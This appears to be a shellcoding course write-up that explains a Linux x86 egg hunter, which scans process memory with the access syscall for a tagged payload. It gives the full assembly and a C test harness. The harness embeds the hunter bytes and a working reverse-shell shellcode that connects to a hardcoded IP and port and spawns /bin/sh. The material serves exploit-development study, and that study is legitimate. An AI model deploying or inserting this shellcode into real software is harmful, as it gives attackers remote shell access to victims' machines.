Goal
The goal of this ticket is to write an egg hunter shellcode. An egg hunter is a piece of code that when is executed is looking for another piece of code (usually bigger) called the egg and it passes the execution to the egg. This technique is usually used when the space of executing shellcode is limited (the available space is less than the egg size) and it is possible to inject the egg in another memory location. Because the egg is injected in a non static memory location the egg must start with an egg tag in order to be recognized by the egg hunter.
1. How to test the shellcode
Maybe it will look odd but I will start by presenting the program that it will be used to test the egg hunter. The test program is a modified version of the shelcode.c used in the previous tickets.
#include<stdio.h> #include<string.h> #define EGG_TAG "hex version of egg_tag; to be added later" unsigned char egg_hunter[]= "hex version of egg_hunter; to be added later"; unsigned char egg[] = EGG_TAG EGG_TAG "hex version of egg; to be added later"; main() { int (*ret)() = (int(*)())egg_hunter; ret(); }
We start by defining the egg tag, the egg hunter and the egg; the egg is prefixed twice with the egg tag in order to be recognized by the egg hunter. The main program it will just pass the execution to the egg hunter that will search for the egg (which is somewhere in the memory space of the program) and then it will pass the execution to the egg.
Usually the egg tag is eight bytes and the reason the egg tag repeats itself is because it allows the egg hunter to be more optimized for size so it can search for a single tag that has the same four byte values, one right after the other. This eight byte version of the egg tag tends to allow for enough uniqueness that it can be easily selected without running any high risk of a collision.
2 Implementation
2.1 Define the egg tag
Defining the egg tag is quite easy; finally it’s up to you to choose a rather unique word. In our case the egg tag is egg1. In order to be used by the egg hunter the tag must be transformed in HEX. I just crafted a small script: fromStringToAscii.sh that will transform the input from char to ASCII equivalent and then to HEX value. So in our case the egg tag value will be 0x31676765.
2.2 Implement the egg hunter
What the egg hunter implementation should do, is firstly find the addressable space allocated to the host process( the process in which the egg hunter is embedded) then, search inside this addressable space for the egg and finally pass the execution to the egg.
On Linux this behavior can be achieved using the access (2) system call. The egg hunter will call systematically access system call in order to find the memory pages that the host process have access and once one accessible page is found, then it looks for the egg. Here is the implementation code:
global _start section .text _start: xor edx,edx next_page: or dx,0xfff next_adress: ;fill edx with 0x1000=4096 ;which represents PAGE_SIZE inc edx ;load the page memory address to ebx lea ebx,[edx+0x4] ;0x21=33 access system call number push byte +0x21 pop eax int 0x80 ;compare the result with EFAULT cmp al,0xf2 jz next_page mov eax,0x31676765; this is the egg marker: egg1 in hex mov edi,edx ;search for the first occurrence of the egg tag scasd jnz next_adress ;search for the second occurrence of the egg tag scasd jnz next_adress ;execute the egg jmp edi
A much detailed explanation of how this egg hunter work can be found in the Safely Searching Process Virtual Address Space.
3.Putting all together
Now, we have all the missing pieces so we could try to put them together. As egg I used a the reverse connection shellcode from the How to write a reverse connection shellcode. The final result it is something like:
#include<stdio.h> #include<string.h> #define PORT_NUMBER "\x6a\xff" // 0xffff #define IP_ADDRESS "\x0c\x12\x01\x17" #define EGG_TAG "\x65\x67\x67\x31" unsigned char egg_hunter[]= "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\ xcd\x80\x3c\xf2\x74\xee\xb8" EGG_TAG "\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"; unsigned char egg[] = EGG_TAG EGG_TAG "\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80\x89\xc6\xe8\x01 \x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x68" IP_ADDRESS "\x66" PORT_NUMBER "\x66\x6a\x02\x89\xe1\xb3\x03\x6a\x10\x51\x56\x89\xe1\xcd\x80\xe8\x01\x00\x00\x00 \xc3\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89 \xf3\x41\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00 \x00\xc3\x31\xc0\x31\xdb\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 \xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x78\xff\xff\xff"; main() { printf("EggHunter Length: %d\n", strlen(egg_hunter)); printf("Shellcode Length: %d\n", strlen(egg)); int (*ret)() = (int(*)())egg_hunter; ret(); }
All the source codes explained presented in this ticket can be found here: gitHub.
Bibliography
- Assembly Language and Shellcoding on Linux (web training)
- Safely Searching Process Virtual Address Space (web site)